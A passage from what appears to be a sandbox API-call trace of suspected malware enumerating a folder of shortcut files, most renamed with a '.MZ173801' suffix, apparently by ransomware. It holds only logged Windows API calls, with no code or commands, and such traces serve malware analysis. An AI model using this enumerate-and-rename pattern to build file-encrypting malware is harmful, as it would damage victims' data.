lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0153.197] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf36baee7, ftCreationTime.dwHighDateTime=0x1d5f12a, ftLastAccessTime.dwLowDateTime=0xf36baee7, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0x822a6267, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x4bd, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="HqBE4s3H uNUYMjPX.lnk.MZ173801", cAlternateFileName="HQBE4S~1.MZ1")) returned 1 [0153.197] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0153.197] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0153.197] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf172a957, ftCreationTime.dwHighDateTime=0x1d5f12a, ftLastAccessTime.dwLowDateTime=0xf172a957, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0x822ca86a, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x27e, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="i5uD5Xoo.lnk.MZ173801", cAlternateFileName="I5UD5X~1.MZ1")) returned 1 [0153.198] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0153.198] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0153.198] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x60bd7ffc, ftCreationTime.dwHighDateTime=0x1d61fff, ftLastAccessTime.dwLowDateTime=0x60bd7ffc, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0x825c6d9c, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x277, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="IDF-wgV.lnk.MZ173801", cAlternateFileName="IDF-WG~1.MZ1")) returned 1 [0153.198] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0153.198] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0153.198] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf36e1039, ftCreationTime.dwHighDateTime=0x1d5f12a, ftLastAccessTime.dwLowDateTime=0x8198d72d, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0x827692ab, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x3a2, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="iLaJJJl9bXoFrg4vmuJ.lnk.MZ173801", cAlternateFileName="ILAJJJ~1.MZ1")) returned 1 [0153.198] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0153.198] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0153.198] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x855e6de4, ftCreationTime.dwHighDateTime=0x1d61fff, ftLastAccessTime.dwLowDateTime=0x855e6de4, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0x855e6de4, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x2ba, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="J8fmEpcFoOu5EizoMu T.lnk", cAlternateFileName="J8FMEP~1.LNK")) returned 1 [0153.198] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0153.198] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0153.198] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x45bee4be, ftCreationTime.dwHighDateTime=0x1d61fff, ftLastAccessTime.dwLowDateTime=0x45bee4be, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0x827db958, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x42a, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="jjcfaQYy1u4aYRF.flv.lnk.MZ173801", cAlternateFileName="JJCFAQ~1.MZ1")) returned 1 [0153.198] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0153.198] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0153.198] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefa2207f, ftCreationTime.dwHighDateTime=0x1d5f12a, ftLastAccessTime.dwLowDateTime=0xefa2207f, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0x82932d63, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x3d3, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="Jm-pvNoF7ZQ8Z9U.lnk.MZ173801", cAlternateFileName="JM-PVN~1.MZ1")) returned 1 [0153.198] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0153.198] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0153.198] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0b18b5c, ftCreationTime.dwHighDateTime=0x1d5f12a, ftLastAccessTime.dwLowDateTime=0x4e12cf80, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0x82959167, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x477, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="JsYf-A6h4Bx.lnk.MZ173801", cAlternateFileName="JSYF-A~1.MZ1")) returned 1 [0153.198] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0153.198] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0153.198] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e2608ec, ftCreationTime.dwHighDateTime=0x1d61fff, ftLastAccessTime.dwLowDateTime=0x4e2608ec, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0x82a3deaf, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x40d, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="jZEwhVWt50V33_ 5Cs5n.lnk.MZ173801", cAlternateFileName="JZEWHV~1.MZ1")) returned 1 [0153.198] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0153.198] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0153.198] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d2c5849, ftCreationTime.dwHighDateTime=0x1d61fff, ftLastAccessTime.dwLowDateTime=0x7d2c5849, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0x82a640fc, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x5a7, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="Kbg6SBTSjJvSFEUP4JMP.lnk.MZ173801", cAlternateFileName="KBG6SB~1.MZ1")) returned 1 [0153.198] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0153.198] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0153.198] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf3a003cf, ftCreationTime.dwHighDateTime=0x1d5f12a, ftLastAccessTime.dwLowDateTime=0xf3a003cf, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0x82a8a33d, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x3e5, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="KbOxgphNJ70M.flv.lnk.MZ173801", cAlternateFileName="KBOXGP~1.MZ1")) returned 1 [0153.198] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0153.198] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0153.198] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5b7f21f4, ftCreationTime.dwHighDateTime=0x1d61fff, ftLastAccessTime.dwLowDateTime=0x5b7f21f4, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0x82a8a33d, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x3ee, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="kcbhP88PnzqBNGqzO3.lnk.MZ173801", cAlternateFileName="KCBHP8~1.MZ1")) returned 1 [0153.198] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0153.198] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0153.198] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf161f8e5, ftCreationTime.dwHighDateTime=0x1d5f12a, ftLastAccessTime.dwLowDateTime=0xf161f8e5, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0x82b22d00, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x5d8, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="KyDI6rQz0nUT1e2995v.lnk.MZ173801", cAlternateFileName="KYDI6R~1.MZ1")) returned 1 [0153.198] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0153.198] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0153.198] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0af2eda, ftCreationTime.dwHighDateTime=0x1d5f12a, ftLastAccessTime.dwLowDateTime=0xf0af2eda, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0x82b48fac, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x5a1, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="l5xkq_P4B0Vr6xH.lnk.MZ173801", cAlternateFileName="L5XKQ_~1.MZ1")) returned 1 [0153.198] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0153.199] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0153.199] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf1e51a06, ftCreationTime.dwHighDateTime=0x1d5f12a, ftLastAccessTime.dwLowDateTime=0x5497fcff, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0x82be18c5, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x481, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="LFHpZh3EGDvVG.lnk.MZ173801", cAlternateFileName="LFHPZH~1.MZ1")) returned 1 [0153.199] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0153.199] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0153.199] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf1134b64, ftCreationTime.dwHighDateTime=0x1d5f12a, ftLastAccessTime.dwLowDateTime=0xf1134b64, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0x82be18c5, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x30b, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="LmhsbTNLSJY.lnk.MZ173801", cAlternateFileName="LMHSBT~1.MZ1")) returned 1 [0153.199] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0153.199] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0153.199] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf4181c63, ftCreationTime.dwHighDateTime=0x1d5f12a, ftLastAccessTime.dwLowDateTime=0xf4181c63, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0x82c07c2f, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x329, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="lOp2Pc8PoOE5fYa7j.lnk.MZ173801", cAlternateFileName="LOP2PC~1.MZ1")) returned 1 [0153.199] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0153.199] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0153.199] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ae2325e, ftCreationTime.dwHighDateTime=0x1d61fff, ftLastAccessTime.dwLowDateTime=0x6ae2325e, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0x82c7a114, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x3ee, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="lwhJgzvsl5XlQcrqU6.lnk.MZ173801", cAlternateFileName="LWHJGZ~1.MZ1")) returned 1 [0153.199] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0153.199] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0153.199] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e2fc509, ftCreationTime.dwHighDateTime=0x1d61fff, ftLastAccessTime.dwLowDateTime=0x4e2fc509, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0x82ca3c13, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x3cb, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="m CS2FXbWa5.lnk.MZ173801", cAlternateFileName="MCS2FX~1.MZ1")) returned 1 [0153.199] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0153.199] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0153.199] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e0dffaf, ftCreationTime.dwHighDateTime=0x1d61fff, ftLastAccessTime.dwLowDateTime=0x4e0dffaf, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0x82d5ef85, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x47a, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="m5j0.lnk.MZ173801", cAlternateFileName="M5J0LN~1.MZ1")) returned 1 [0153.199] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0153.199] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0153.199] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf4db9e80, ftCreationTime.dwHighDateTime=0x1d5f12a, ftLastAccessTime.dwLowDateTime=0xf4db9e80, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0x82d85327, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x39d, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="MmiYF.lnk.MZ173801", cAlternateFileName="MMIYFL~1.MZ1")) returned 1 [0153.199] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0153.199] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0153.199] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3fd63894, ftCreationTime.dwHighDateTime=0x1d61fff, ftLastAccessTime.dwLowDateTime=0x7f9f6622, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0x82dd17fb, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x342, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="mrC2.lnk.MZ173801", cAlternateFileName="MRC2LN~1.MZ1")) returned 1 [0153.199] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0153.199] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0153.199] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf24959a9, ftCreationTime.dwHighDateTime=0x1d5f12a, ftLastAccessTime.dwLowDateTime=0xf24959a9, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0x82df7a47, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x2de, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="Music.lnk.MZ173801", cAlternateFileName="MUSICL~1.MZ1")) returned 1 [0153.199] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0153.199] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0153.199] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf4f5d82a, ftCreationTime.dwHighDateTime=0x1d5f12a, ftLastAccessTime.dwLowDateTime=0xf4f5d82a, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0x82e1dcce, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x43d, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="MZb5e8JNXGX.lnk.MZ173801", cAlternateFileName="MZB5E8~1.MZ1")) returned 1 [0153.199] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0153.199] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0153.199] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf1835a14, ftCreationTime.dwHighDateTime=0x1d5f12a, ftLastAccessTime.dwLowDateTime=0xf1835a14, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0x82e1dcce, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x3b2, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="m_JbGT.lnk.MZ173801", cAlternateFileName="M_JBGT~1.MZ1")) returned 1 [0153.199] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0153.199] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0153.199] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4134b33b, ftCreationTime.dwHighDateTime=0x1d61fff, ftLastAccessTime.dwLowDateTime=0x4134b33b, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0x83d103bf, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x28d, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="nDZdZhLaQYg.ots.lnk.MZ173801", cAlternateFileName="NDZDZH~1.MZ1")) returned 1 [0153.199] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0153.199] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0153.200] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x819674d6, ftCreationTime.dwHighDateTime=0x1d61fff, ftLastAccessTime.dwLowDateTime=0x819674d6, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0x83d2b935, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x47f, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="Ng-XMX.lnk.MZ173801", cAlternateFileName="NG-XMX~1.MZ1")) returned 1 [0153.200] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0153.200] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0153.200] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3f4952bd, ftCreationTime.dwHighDateTime=0x1d61fff, ftLastAccessTime.dwLowDateTime=0x3f4952bd, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0x83dc31a0, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x3db, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="NJjgpU2TJz.lnk.MZ173801", cAlternateFileName="NJJGPU~1.MZ1")) returned 1 [0153.200] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0153.200] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0153.200] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4dee4ddf, ftCreationTime.dwHighDateTime=0x1d61fff, ftLastAccessTime.dwLowDateTime=0x4dee4ddf, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0x83ef45d4, 